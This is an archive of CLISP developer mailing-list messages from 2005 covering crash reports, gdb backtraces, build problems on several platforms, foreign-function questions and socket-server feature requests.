It is defined as 0xffU.

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Date: Tue Nov 29 15:42:02 2005
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I realize the code below shouldn't work anyway, but is there a way to
have it print an error message instead of crashing lisp?

[1]> (defclass foo () ((a :allocation :proxy)))
#<STANDARD-CLASS FOO>
[2]> (make-instance 'foo)

*** - handle_fault error2 ! address = 0x2151add4 not in
[0x2028f004,0x20462694) !
SIGSEGV cannot be cured. Fault address = 0x2151add4.
Permanently allocated: 105248 bytes.
Currently in use: 3405712 bytes.
Free space: 39866 bytes.

Sam Steingold wrote:

>>* Scott Williams <begzntr@tzk.arg> [2005-11-29 12:27:15 -0700]:
>>
>>What's the best way to get computed DEF-CALL-OUTs? I have some classes
>>that need to dynamically create and evaluate DEF-CALL-OUT forms at
>>COMPUTE-SLOTS time. Is there a functional version of DEF-CALL-OUT or
>>should I use eval? Is there a way to get anonymous call-outs or would I
>>need (eval `(def-call-out ,(gensym) ..))?
>>
>>(defmethod compute-slots :after ((proxy gtk-proxy))
>>  (dolist (slot (class-direct-slots proxy))
>>    (build-accessor-callouts proxy slot)))
>>
>>(defun build-accessor-callouts (proxy slot)
>>  ;; here's what I want:
>>  (eval `(def-call-out ,(canonical-foriegn-accessor-name proxy slot :setter)
>>                                (:arguments (self c-pointer)
>>                                                  
>>,(canonical-foreign-type slot))
>>                                (:return-type nil)))
>>  (eval `(def-call-out ,(canonical-foreign-accessor-name proxy slot :getter)
>>                                (:arguments (self c-pointer))
>>                                (:return-type ,(canonical-foreign-type
>>slot))))
>>    
>>
>
>interesting.
>how about this:
>
>(ffi::foreign-library-function
>  (canonical-foreign-accessor-name proxy slot :setter)
>  (ffi::foreign-library "mylib.dll") nil
>  (parse-c-type `(c-function (:arguments ...) (:return-type ...)
>                             (:language ...))))
>
>
>  
>


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> * Magnus Henoch <znatr@serrznvy.uh> [2005-11-29 23:51:05 +0100]:
>
>>
>> static object bool_char_lconv(char val) {
>>   switch (val) {
>>     case 0: return NIL;
>>     case 1: return T;
>>     case CHAR_MAX: return S(Kunspecific);
>>     default: NOTREACHED;
>>   }
>> }
>>
>> what is val?
>
> val is 255.
>
>> how is CHAR_MAX defined on your system?
>
> It is defined as 0xffU.

this is the same as 255.

why doesn't bool_char_lconv work?
where is CHAR_MAX defined?

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> * Magnus Henoch <znatr@serrznvy.uh> [2005-11-29 23:49:43 +0100]:
>
> The makefile in the benchmarks directory doesn't work with (Net)BSD
> make.  Retrying the build with GNU make doesn't work as expected, as
> the MAKE variable is overridden in the main makefile (it is set from
> the environment variable with the same name during configure).

I thought that this:
MAKE=gmake ./configure ....
was supposed to work.
does it?

> I tried to change the benchmarks makefile to be acceptable to both GNU
> make and BSD make.  This patch seems to work (the CMUCL parts are not
> tested):

this is not the only gnu makefile there, and I don't think it is worth
changing.
benchmarks are run only by "developers" (and that includes pre-testers :-)
who are savvy enough to be able to use gnu make.

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> * Magnus Henoch <znatr@serrznvy.uh> [2005-11-29 23:53:58 +0100]:
>
> (PROGN (SETQ *SA-REMOTE* (HOST->SA "ftp.gnu.org" 21)) T)
> #<HOSTENT :NAME "ftp.gnu.org" :ALIASES NIL :ADDR-LIST ("199.232.41.7")
>   :ADDRTYPE 2>
> #(21 0 199 232 41 7 0 0 0 0 0 0 0 0)
> #<RAWSOCK:SOCKADDR :%DATA #(0 2 21 0 199 232 41 7 0 0 0 0 0 0 0 0)>
> (RAWSOCK:SOCKADDR-FAMILY (2 16))
> (:ADDRESS "199.232.41.7" 120187079)
> [SIMPLE-ERROR]: (STRING= IP (RAWSOCK:CONVERT-ADDRESS TYPE NUMERIC)) must evaluate to a non-NIL value.
> ERROR!! ERROR should be T !

I tweaked the test a little bit (in the CVS) to print more information.
my current guess is the endianness: DIUC that x86 and powerpc have
different endiannesses?
at any rate, this test is pretty simple: we are just checking that
string<-->number IP address conversion is an involution.

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> * Scott Williams <begzntr@tzk.arg> [2005-11-29 16:41:29 -0700]:
>
> I realize the code below shouldn't work anyway, but is there a way to
> have it print an error message instead of crashing lisp?
>
> [1]> (defclass foo () ((a :allocation :proxy)))
> #<STANDARD-CLASS FOO>
> [2]> (make-instance 'foo)
>
> *** - handle_fault error2 ! address = 0x2151add4 not in
> [0x2028f004,0x20462694) !
> SIGSEGV cannot be cured. Fault address = 0x2151add4.
> Permanently allocated: 105248 bytes.
> Currently in use: 3405712 bytes.
> Free space: 39866 bytes.

OUCH!!!
could you please file a bug report on SF?
thanks!

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Ok,
I built CVS head on windows XP Pro with mingw (gcc 4.0.2) and
everything seems to be ok. I used the following to builld it:
./configure --with-mingw --with-module=3Drawsock --build build-mingw

The only problem I have is that I am behind a socks proxy so describe
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Tried to build again today with cvs head and got the following error.
lisp.exe process just crashes during test phase.
I would consider this a showstopper for win32 platform. It should
report an error instead of crashing.
btw yesterday cvs head (2005-11-29) was ok, todays (2005-11-30) has this er=
ror

#<SYSTEM-FUNCTION 1->

WARNING: This form contains an error, a mistake, a bug, a
         blunder, a bungle, a blooper: (NIL) and can
         therefore not be correctly interpreted, neither
         today nor tomorrow nor next week nor next month
         nor next year
WARNING: This form contains an error, a mistake, a bug, a
         blunder, a bungle, a blooper:
        (NIL NIL NIL NIL NIL NIL)
         and can therefore not be correctly interpreted,
         neither today nor tomorrow nor next week nor next
         month nor next year
WARNING: This form contains an error, a mistake, a bug, a
         blunder, a bungle, a blooper:
        (NIL NIL NIL NIL NIL NIL NIL NIL NIL NIL NIL)
         and can therefore not be correctly interpreted,
         neither today nor tomorrow nor next week nor next
         month nor next year


#<FUNCTION :LAMBDA (X) (* X 2)>

WARNING: This form contains an error, a mistake, a bug, a
         blunder, a bungle, a blooper: (NIL) and can
         therefore not be correctly interpreted, neither
         today nor tomorrow nor next week nor next month
         nor next year
WARNING: This form contains an error, a mistake, a bug, a
         blunder, a bungle, a blooper:
                  (NIL NIL NIL NIL NIL NIL)
         and can therefore not be correctly interpreted,
         neither today nor tomorrow nor next week nor next
         month nor next year
WARNING: This form contains an error, a mistake, a bug, a
         blunder, a bungle, a blooper:
                  (NIL NIL NIL NIL NIL NIL NIL NIL NIL NIL
                   NIL)
         and can therefore not be correctly interpreted,
         neither today nor tomorrow nor next week nor next
         month nor next year
"
(LET ((F "foo.bar") FWD1 FWD2) (UNWIND-PROTECT (PROGN (WITH-OPEN-FILE
(S F :DIRECTION :OUTPUT) (WRITE F :STREAM S) (SETQ
 FWD1 (FILE-WRITE-DATE S))) (WITH-OPEN-FILE (S F :DIRECTION :PROBE)
(LIST (OR (=3D FWD1 (SETQ FWD2 (FILE-WRITE-DATE S))) (
LIST FWD1 FWD2)) (OPEN-STREAM-P S)))) (DELETE-FILE F)))
EQUAL-OK: (T NIL)
(LET ((F "foo.bar") FWD SIZE DIR DECODED) (UNWIND-PROTECT (PROGN
(WITH-OPEN-FILE (S F :DIRECTION :OUTPUT) (WRITE S :STRE
AM S) (SETQ FWD (FILE-WRITE-DATE S) SIZE (FILE-LENGTH S))) (SETQ DIR
(FIRST (DIRECTORY F :FULL T)) DECODED (SUBSEQ (MULT
IPLE-VALUE-LIST (DECODE-UNIVERSAL-TIME FWD)) 0 6)) (LIST (OR (EQUAL
(THIRD DIR) DECODED) (LIST DIR FWD DECODED)) (OR (=3D
(FOURTH DIR) SIZE) (LIST DIR SIZE)))) (DELETE-FILE F)))
EQUAL-OK: (T T)
(STRINGP (WITH-OUTPUT-TO-STRING (S) (DESCRIBE (MAKE-ARRAY NIL) S)))

*** - handle_fault error2 ! address =3D 0x190881a4 not in
[0x19d70000,0x19fa50c4) !
SIGSEGV cannot be cured. Fault address =3D 0x190881a4.
Permanently allocated: 87648 bytes.
Currently in use: 5416312 bytes.
Free space: 5 bytes.
make[1]: *** [tests] Error 5
make[1]: Leaving directory
`/c/dev/cvstree/sourceforge/clisp/clisp/build-mingw/tests'
make: *** [check-tests] Error 2


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Sam Steingold <sds@gnu.org> writes:

> I thought that this:
> MAKE=gmake ./configure ....
> was supposed to work.
> does it?

It does.

> this is not the only gnu makefile there, and I don't think it is worth
> changing.
> benchmarks are run only by "developers" (and that includes pre-testers :-)
> who are savvy enough to be able to use gnu make.

That makes sense.

Magnus



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> * Marko Kocic <znexb.xbpvp@tznvy.pbz> [2005-11-30 09:39:10 +0100]:
>
> The only problem I have is that I am behind a socks proxy so describe
> doesn't work.

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Sam Steingold <sds@gnu.org> writes:

> why doesn't bool_char_lconv work?
> where is CHAR_MAX defined?

It's defined in <limits.h>, which doesn't seem to be included in
gettext.c.  That could be the reason ;)  The test succeeds when I add
#include <limits.h> i gettext.c.

(yet another argument for not debugging things when tired)

Magnus



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> * Marko Kocic <znexb.xbpvp@tznvy.pbz> [2005-11-30 11:34:00 +0100]:
>
> (STRINGP (WITH-OUTPUT-TO-STRING (S) (DESCRIBE (MAKE-ARRAY NIL) S)))
>
> *** - handle_fault error2 ! address = 0x190881a4 not in
> [0x19d70000,0x19fa50c4) !
> SIGSEGV cannot be cured. Fault address = 0x190881a4.

I cannot reproduce this.
could you please try to debug this crash?
http://clisp.cons.org/impnotes/faq.html#faq-debug
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> * Magnus Henoch <znatr@serrznvy.uh> [2005-11-30 13:18:23 +0100]:
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> Sam Steingold <sds@gnu.org> writes:
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>> why doesn't bool_char_lconv work?
>> where is CHAR_MAX defined?
>
> It's defined in <limits.h>, which doesn't seem to be included in
> gettext.c.  That could be the reason ;)  The test succeeds when I add
> #include <limits.h> i gettext.c.

It should now be fixed in the CVS.
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Hi,

>> * Scott Williams <begzntr@tzk.arg> [2005-11-29 12:27:15 -0700]:
>> What's the best way to get computed DEF-CALL-OUTs?
Sam's proposition is ok, but what is realy dynamic in your requirements?

o Do you really need names for the functions, instead of function objects?
o Isn't it more like a lazy declaration (on a by-need basis)?
o Is a shared ilbrary involved?

What I mean is that if you intend to call functions from a shared library, there's a fixed and known set of functions, and people usually write large files of def-call-out forms.

Now, if OTOH you don't have functions located in some library, but dynamically created function addresses, you can call these (e.g. consider the foreign-function constructor) without having to defined a name.

Some people (including myself) tend to object to large lists of (mostly unused) def-call-out forms. Is that what you're trying to avoid by creating the functions only when actually referenced?

Or do you really create a possibly unlimited number of functions at run-time (e.g. what COM/DCOM would presumably want to do)?

Would you like to be more specific about your needs?

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This is CLISP from CVS, on Solaris 8 (sparc architecture).  The build
fails with:

[...]
chmod +w config.lisp
echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' >> config.lisp
./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -m 1400KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext:
:exit t)"
STACK depth: 44775
SP depth: 33554729
WARNING: locale: no encoding ISO8859-1, using ISO-8859-1
WARNING: locale: no encoding ISO8859-1, using ISO-8859-1
make: *** [interpreted.mem] Segmentation Fault

gdb says:

(gdb) run
Starting program: /users/cd/henoch/src/clisp-cvs/build-boris/lisp.run 
STACK depth: 16359
SP depth: 33554724
WARNING: locale: no encoding ISO8859-1, using ISO-8859-1
WARNING: locale: no encoding ISO8859-1, using ISO-8859-1

Program received signal SIGSEGV, Segmentation fault.
0x0014d474 in hash_lookup_builtin (ht={one_o = <error type>}, obj={one_o = <error type>}, allowgc=1692207, KVptr_=0xdfffacc8, 
    Iptr_=0xdfffacc4) at hashtabl.d:1610
1610      while (!eq(*Nptr,nix)) { /* track "list" : "list" finished -> not found */
(gdb) bt
#0  0x0014d474 in hash_lookup_builtin (ht={one_o = <error type>}, obj={one_o = <error type>}, allowgc=1692207, KVptr_=0xdfffacc8, 
    Iptr_=0xdfffacc4) at hashtabl.d:1610
#1  0x00151a54 in gethash (obj={one_o = <error type>}, ht={one_o = <error type>}, allowgc=1692207) at hashtabl.d:2416
#2  0x00260cbc in register_foreign_variable (address=0x330a54, name_asciz=0x3075f0 "ffi_user_pointer", flags=<error type>, 
    size=<error type>) at foreign.d:185
#3  0x0027cbac in init_ffi () at foreign.d:4380
#4  0x000319dc in main (argc=1, argv=0xdfffef5c) at spvw.d:3315
(gdb) p Nptr
$1 = (gcv_object_t *) 0x5d8a3ee4
(gdb) p *Nptr
Cannot access memory at address 0x5d8a3ee4


Magnus



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I tried the following:
sync from cvs, started building clisp with debugging enabled.
After crash I started gdb. Here is the gdb session
$ gdb
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This GDB was configured as "i686-pc-mingw32".
.gdbinit:108: Error in sourced command file:
No symbol table is loaded.  Use the "file" command.
(gdb) base
(gdb) run
Starting program:
c:\dev\cvstree\sourceforge\clisp\clisp\build-mingw-g/base/lisp.exe -B
. -N locale -E 1:1 -q -norc -M b
ase/lispinit.mem

Program received signal SIGSEGV, Segmentation fault.
0x00462126 in interpret_bytecode_ (closure=3D{one_o =3D 433618537},
    codeptr=3D0x19d87e20, byteptr_in=3D0x19d87e32 "\236 +\236\\ '\230")
    at eval.d:5906
5906          ? CCV_START_KEY : CCV_START_NONKEY;
(gdb) n
0x10108d50 in _libws2_32_a_iname ()
(gdb) n
Single stepping until exit from function _libws2_32_a_iname,
which has no line number information.
0x7c90eaf4 in _libws2_32_a_iname ()
(gdb) n
Single stepping until exit from function _libws2_32_a_iname,
which has no line number information.

Program received signal SIGSEGV, Segmentation fault.
0x00462126 in interpret_bytecode_ (closure=3D{one_o =3D 433618537},
    codeptr=3D0x19d87e20, byteptr_in=3D0x19d87e32 "\236 +\236\\ '\230")
    at eval.d:5906
5906          ? CCV_START_KEY : CCV_START_NONKEY;
(gdb) n

Program exited with code 030000000375.
(gdb) n
The program is not being run.
(gdb)

In lisp process I did:
(cd "tests")
(load "tests")
(time (run-all-tests))


It failed again while executing:
(LET* ((N (MIN LAMBDA-PARAMETERS-LIMIT 1024)) (VARS (LOOP REPEAT N
COLLECT (GENSYM)))) (EVAL `(=3D ,N (FLET ((%F ,VARS (+
,@VARS))) (%F ,@(LOOP FOR E IN VARS COLLECT 1))))))

Hope this helps to track down the problem.
I'm using win xp pro, mingw with gcc-4.0.2 and building clisp with the
following cmdline
./configure --with-debug --with-mingw --with-module=3Drawsock --build
build-mingw-g


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Not all variables in CUSTOM package are documentary.
http://clisp.cons.org/impnotes/customize.html
(may by this superfluous)

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-12-01 17:32:28 +0200]:
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> Not all variables in CUSTOM package are documentary.

http://cygwin.com/acronyms/#PTC

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Sam Steingold wrote:

>>Not all variables in CUSTOM package are documentary.
> 
> http://cygwin.com/acronyms/#PTC
> 

first not documentary variable - and at once some questions:

CUSTOM:*BREAK-ON-WARNINGS*

1) CLHS: Issue BREAK-ON-WARNINGS-OBSOLETE:REMOVE
2) CLtL2: 29.4.9. Warnings
3) Replacement of
	(when *break-on-warnings*
by
	(when (subtypep 'warning *break-on-signals*)
in WARN function and remove *break-on-warnings* from condition.lisp will
solve a problem?

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> * Magnus Henoch <urabpu@pq.punyzref.fr> [2005-11-30 21:24:31 +0100]:
>
> This is CLISP from CVS, on Solaris 8 (sparc architecture).

wfm on sparc-sun-solaris2.9-5.9

do you have libsigsegv installed?
is this a clean rebuild?

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> * Marko Kocic <znexb.xbpvp@tznvy.pbz> [2005-12-01 15:10:55 +0100]:
>
> Hope this helps to track down the problem.
> I'm using win xp pro, mingw with gcc-4.0.2 and building clisp with the
> following cmdline
> ./configure --with-debug --with-mingw --with-module=rawsock --build
> build-mingw-g

I do not use pure mingw/msys, I use cygwin gcc -mno-cygwin and it is
still at 3.4.4, so I cannot reproduce this.
Yaroslav, this appears to be similar to your setup - have you seen
anything like it?

there is a slight chance that todays patches might have fixed this.
could you please try again?


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Hello,

I was playing recently with the sockets interface, and found few unclear po=
ints:

- For security reasons, it is sometimes advisable to bind to
particular interface (e.g., 127.0.0.1) instead of all interfaces
(i.e., 0.0.0.0). I found quite a cumbersome way to achieve this, using
something like
(socket-server (socket-connect 0 "127.0.0.1" :timeout 0)),
but I do not know to bind to particular port then. Is this possible? I
do not think that this is extraordinary enough requirement to use raw
socket interface.

- I also miss way how to set backlog parameter for listen(2) used by
(socket-server) via create-socket-server and bindlisten_via_ip.
Presently, it is fixed to 1. I think I have some issues caused by
this, but I found no way to reproduce it easily - apparently, my
understanding of how it works is slightly imperfect (I understood that
with backlog=3D1, you cannot have two unaccepted pending connections -
but experiment shows that this is not the case).

To summarize, I would like the (socket-server) to accept two keyword
parameters, :interface and :backlog. It would be nice to see it
implemented, though I may try to make it myself if you think the idea
is OK. Anyone knows how other implementations handle it, for
consistency?

Regards,

P.S.:
- To figure out first item above, I looked how it is handled in
inspect.lisp (method inspect-frontend). It appears that the http
server there is network-wide open. Is this deliberate? Some would see
is as a possible security problem, but OTOH you may want it for some
reasons (e.g., when clisp on remote machine is used)

- First thing I did when playing with inspect was Ctrl-C, when I found
that I missed :browser parameter, and netstat shown me that the server
did survive that. The inspect-frontend may want to wrap the loop into
some unwind-protect - OTOH, GC will probably close it in the long run
anyway.

P.P.S.:  just for reference - clisp version from last week CVS.


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> * New function EXT:OPEN-HTTP and macro EXT:WITH-HTTP-INPUT.
>   See <http://clisp.cons.org/impnotes/macros3.html#open-http> for
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data from this link and other does not contain information about
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Date: Mon Dec  5 02:42:01 2005
X-Original-Date: Mon, 05 Dec 2005 12:42:44 +0200

Sam Steingold wrote:

>>Hope this helps to track down the problem.
>>I'm using win xp pro, mingw with gcc-4.0.2 and building clisp with the
>>following cmdline
>>./configure --with-debug --with-mingw --with-module=rawsock --build
>>build-mingw-g
> 
> 
> I do not use pure mingw/msys, I use cygwin gcc -mno-cygwin and it is
> still at 3.4.4, so I cannot reproduce this.
> Yaroslav, this appears to be similar to your setup - have you seen
> anything like it?
> 
> there is a slight chance that todays patches might have fixed this.
> could you please try again?
> 

clisp from CVS head (2.36), mingw - all works.

before run ./configure need set HTTP_PROXY (if not set it):

$ export HTTP_PROXY="http://user_name:password@host:port"

$ ./configure ....


P.S. May be include this information in INSTALL?

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I tried again with todays CVS (2.36 I suppose). Same problem again.
Crash running tests.
Btw, I can't see what it has to do with http proxy? You are probably
refering one of my previous mails in this thread about describe, but
it has nothing to do with this, I suppose.


EQUAL-OK: (KONS (1 . 2) 3)
(LET* ((N (MIN LAMBDA-PARAMETERS-LIMIT 1024)) (VARS (LOOP REPEAT N COLLECT =
(GENS
YM)))) (EVAL `(=3D ,N (FLET ((%F ,VARS (+ ,@VARS))) (%F ,@(LOOP FOR E IN VA=
RS COLL
ECT 1))))))

$ gdb.exe
GNU gdb 5.2.1
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you ar=
e
welcome to change it and/or distribute copies of it under certain condition=
s.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-mingw32".
.gdbinit:108: Error in sourced command file:
No symbol table is loaded.  Use the "file" command.
(gdb) base
(gdb) run
Starting program:
c:\dev\cvstree\sourceforge\clisp\clisp\build-mingw-g/base/lisp.exe -B
. -N locale -E 1:1 -q -norc -M b
ase/lispinit.mem

Program received signal SIGSEGV, Segmentation fault.
0x00462296 in interpret_bytecode_ (closure=3D{one_o =3D 433618537},
    codeptr=3D0x19d87e20, byteptr_in=3D0x19d87e32 "\236 +\236\\ '\230")
    at eval.d:5906
5906          ? CCV_START_KEY : CCV_START_NONKEY;
(gdb) n
0x10108d50 in _libws2_32_a_iname ()
(gdb) n
Single stepping until exit from function _libws2_32_a_iname,
which has no line number information.
0x7c90eaf4 in _libws2_32_a_iname ()
(gdb) n
Single stepping until exit from function _libws2_32_a_iname,
which has no line number information.

Program received signal SIGSEGV, Segmentation fault.
0x00462296 in interpret_bytecode_ (closure=3D{one_o =3D 433618537},
    codeptr=3D0x19d87e20, byteptr_in=3D0x19d87e32 "\236 +\236\\ '\230")
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5906          ? CCV_START_KEY : CCV_START_NONKEY;
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Program exited with code 030000000375.
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Why impnotes from http://www.podval.org/~sds/clisp/ not included in
distribution?

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Marko Kocic wrote:

> I tried again with todays CVS (2.36 I suppose). Same problem again.
> Crash running tests.
> Btw, I can't see what it has to do with http proxy? You are probably
> refering one of my previous mails in this thread about describe, but
> it has nothing to do with this, I suppose.
> 
> 
> EQUAL-OK: (KONS (1 . 2) 3)
> (LET* ((N (MIN LAMBDA-PARAMETERS-LIMIT 1024)) (VARS (LOOP REPEAT N
> COLLECT (GENS
> YM)))) (EVAL `(= ,N (FLET ((%F ,VARS (+ ,@VARS))) (%F ,@(LOOP FOR E IN
> VARS COLL
> ECT 1))))))
> 

Oops, sorry.

I have get similar test error on WinXP - I wrote to clisp-devel mail
list. Now under Win2k no error.

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That crash started to happen ~1 week ago. My last good build was Nov
29. This might help to track this down.

Btw, I just downloaded binary clisp 2.36 and it works ok

[1]> (LET* ((N (MIN LAMBDA-PARAMETERS-LIMIT 1024)) (VARS (LOOP REPEAT
N COLLECT (GENSYM)))) (EVAL `(=3D ,N (FLET ((%F ,VAR
S (+,@VARS))) (%F ,@(LOOP FOR E IN VARS COLLECT 1))))))
T
[2]> (bye)


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>>* New function EXT:OPEN-HTTP and macro EXT:WITH-HTTP-INPUT.
>>  See <http://clisp.cons.org/impnotes/macros3.html#open-http> for
>>details.
> 
> 
> data from this link and other does not contain information about
> specified functions
> 

And describe with default *IMPNOTES-ROOT-DEFAULT*:

URL path: http://clisp.cons.org/impnotes/id-href.map
Error notes: File does not exist

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> * Marko Kocic <znexb.xbpvp@tznvy.pbz> [2005-12-05 12:30:41 +0100]:
>
> That crash started to happen ~1 week ago. My last good build was Nov
> 29. This might help to track this down.

well, then it is real easy - just use binary search to get to the actual
change that triggers the bug.

the algorithm is as follow:

cvs co -D 2005-11-29 clisp
cd clisp ; ./configure --build build
--- should be success ---
cd ..
mv clisp good

cvs co -D 2005-12-03 clisp
cd clisp ; ./configure --build build
--- should be failure ---
cd ..
mv clisp bad

now just keep taking the midpoint between good date and bad date and
replacing the good or bad directory.
in 4 steps you will know the culprit for sure.

thanks!

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> * Tomas Zellerin <mryyreva@tznvy.pbz> [2005-12-05 08:38:28 +0100]:
>
> To summarize, I would like the (socket-server) to accept two keyword
> parameters, :interface and :backlog. It would be nice to see it
> implemented, though I may try to make it myself if you think the idea
> is OK.

Idea is OK, PTC.
http://cygwin.com/acronyms/#PTC

> - To figure out first item above, I looked how it is handled in
> inspect.lisp (method inspect-frontend). It appears that the http
> server there is network-wide open. Is this deliberate? Some would see
> is as a possible security problem, but OTOH you may want it for some
> reasons (e.g., when clisp on remote machine is used)

indeed, the idea was to make it possible to use http backend from a
different machine.

> - First thing I did when playing with inspect was Ctrl-C, when I found
> that I missed :browser parameter, and netstat shown me that the server
> did survive that. The inspect-frontend may want to wrap the loop into
> some unwind-protect - OTOH, GC will probably close it in the long run
> anyway.

right you are.


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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-12-05 11:17:11 +0200]:
>
>> * New function EXT:OPEN-HTTP and macro EXT:WITH-HTTP-INPUT.
>>   See <http://clisp.cons.org/impnotes/macros3.html#open-http> for
>> details.
>
> data from this link and other does not contain information about
> specified functions

WFM
(I think the pages are regenerated nighly)

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> * Tomas Zellerin <mryyreva@tznvy.pbz> [2005-12-05 08:38:28 +0100]:
>
> To summarize, I would like the (socket-server) to accept two keyword
> parameters, :interface and :backlog. It would be nice to see it
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> is OK.

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clisp-2.36, mingw

(setf *impnotes-root-default* "file:///C:/clisp-2.36/doc/impnotes.html")

(describe 'getenv)

GETENV is the symbol GETENV, lies in #<PACKAGE EXT>, is accessible in 9
packages COMMON-LISP-USER, EXT, FFI, LDAP, POSIX, READLINE, SCREEN,
SYSTEM, ZLIB, names a function, has 2 properties SYSTEM::SETF-EXPANDER,
SYSTEM::DOC
;;
SYSTEM::ENSURE-IMPNOTES-MAP(#P"C:\\clisp-2.36\\data\\Symbol-Table.text")...536
IDs
.
;; starting the default system browser with url
"file:///C:/clisp-2.36/doc/impnotes.html#getenv"...done
...


But browser open link "file:///C:/clisp-2.36/doc/impnotes.html", without
#getenv.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-12-06 10:37:29 +0200]:
>
> clisp-2.36, mingw
>
> (setf *impnotes-root-default* "file:///C:/clisp-2.36/doc/impnotes.html")
>
> (describe 'getenv)
>
> GETENV is the symbol GETENV, lies in #<PACKAGE EXT>, is accessible in 9
> packages COMMON-LISP-USER, EXT, FFI, LDAP, POSIX, READLINE, SCREEN,
> SYSTEM, ZLIB, names a function, has 2 properties SYSTEM::SETF-EXPANDER,
> SYSTEM::DOC
> ;;
> SYSTEM::ENSURE-IMPNOTES-MAP(#P"C:\\clisp-2.36\\data\\Symbol-Table.text")...536
> IDs
> .
> ;; starting the default system browser with url
> "file:///C:/clisp-2.36/doc/impnotes.html#getenv"...done
> ...
>
>
> But browser open link "file:///C:/clisp-2.36/doc/impnotes.html", without
> #getenv.

*browser* :default does not support starting with anchors

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Sam Steingold wrote:

>*browser* :default does not support starting with anchors
>
>  
>
Thanks.

I set *browser* to :mozilla

(describe 'getenv) good work.

But (describe 'list) and *clhs-root-default* with url to local files - 
not good: mozilla do not take url to local files without prefix "file:///"

With prefix "file:///" not work PARSE-NAMESTRING:

[1]> *clhs-root-default*
"file:///C:/CL/doc/HyperSpec/"
[2]> (describe 'nreverse)

NREVERSE is the symbol NREVERSE, lies in #<PACKAGE COMMON-LISP>, is 
accessible in 17 packages
ASDF, CLOS, COMMON-LISP, COMMON-LISP-USER, EXPORTING, EXT, FFI, LDAP, 
MAKE, PCRE, POSIX, RAWSOCK, READLINE, REGEXP, SCREEN, SYSTEM, ZLIB, names a
*** - PARSE-NAMESTRING: syntax error in filename 
"file:///C:/CL/doc/HyperSpec/Data/Map_Sym.txt" at
      position 4
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [3]>

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> * Yaroslav Kavenchuk <xnirapuhx@ghg.ol> [2005-12-06 23:27:24 +0200]:
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> *** - PARSE-NAMESTRING: syntax error in filename
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I think I fixed this in the CVS.
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How define foreign function for clisp internal function "run_hooks"?

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How define foreign function for clisp internal function "run_hooks"?

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>>*** - PARSE-NAMESTRING: syntax error in filename
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>>      position 4
> 
> 
> I think I fixed this in the CVS.
> thanks.
> 

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-12-07 09:28:36 +0200]:
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> How define foreign function for clisp internal function "run_hooks"?

(defun run-hooks (hooks) (mapc #'funcall hooks))

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Sam Steingold wrote:

>>How define foreign function for clisp internal function "run_hooks"?
> 
> 
> (defun run-hooks (hooks) (mapc #'funcall hooks))
> 

I meant the following:

(ffi:def-call-out run-hooks (:name "run_hooks") (:library :default)
	...

It is possible?

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-12-07 17:21:05 +0200]:
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> Sam Steingold wrote:
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>>>How define foreign function for clisp internal function "run_hooks"?
>> 
>> 
>> (defun run-hooks (hooks) (mapc #'funcall hooks))
>> 
>
> I meant the following:
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> (ffi:def-call-out run-hooks (:name "run_hooks") (:library :default)
> 	...
>
> It is possible?

I get 'FFI::FOREIGN-LIBRARY-FUNCTION: no dynamic object named
"run_hooks" in library :DEFAULT'

why would you want to do this?
if your C function operates on Lisp objects, it is much better to use
clisp-link and/or dynload-modules.

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I was trying out the package cl-ftp-1.3 and I get this error.
I can't find a MAKE-SOCKET function.
Since this package is from 2002 I'm guessing that function has been 
dropped.
What should I change it to?

Thanks
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> * Richard Ray <eenl@zfgp.fgngr.zf.hf> [2005-12-07 09:56:11 -0600]:
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> I was trying out the package cl-ftp-1.3 and I get this error.
> I can't find a MAKE-SOCKET function.
> Since this package is from 2002 I'm guessing that function has been
> dropped.
> What should I change it to?

symbol MAKE-SOCKET and package ORG.MAPCAR.FTP.CLIENT have never been
present in CLISP.
please contact the cl-ftp package vendor.
CLISP socket functionality is documented here:
http://clisp.cons.org/impnotes/socket.html

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I'm having trouble compiling clisp 2.36 (and 2.35) on
a SGI ia64 system. The first time the lisp.run
program, I get an not enough memory error. I have also
tried compiling using the flags
-DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLE_MAP
-DNO_TRIVIAL_MAP
But it didn't make any difference.

By the way, the build system did not recognize the
CFLAGS environment variable so I had to add the above
flags to the CC variable.

The build output where the error ocurred is given
below.

./lisp.run -B . -N locale -Efile UTF-8 -Eterminal
UTF-8 -Emisc 1:1 -norc -m 1400KW -x "(and (load
\"init.lisp\") (sys::%saveinitmem) (ext::exit))
(ext::exit t)"
Cannot map memory to address 0x4000000000000 .
[spvw_mmap.d:359] errno = EINVAL: Invalid argument.
./lisp.run: Not enough memory for Lisp.
make: *** [interpreted.mem] Error 1



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Hi,

this is the result from a compile for Linux on x86-64 with gcc 4.1.0:

 (LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT)) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-TEST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) (! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83)) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT)))
 Exiting on signal 6
 g31:x86_64-suse-linux # ls -l tests/*erg
 -rw-r--r-- 1 abuild abuild 0 Dec  8 13:00 tests/hashtable.erg
 g31:x86_64-suse-linux # 
 g31:x86_64-suse-linux # gcc --version
 gcc (GCC) 4.1.0 20051129 (prerelease) (SUSE Linux)
 Copyright (C) 2005 Free Software Foundation, Inc.
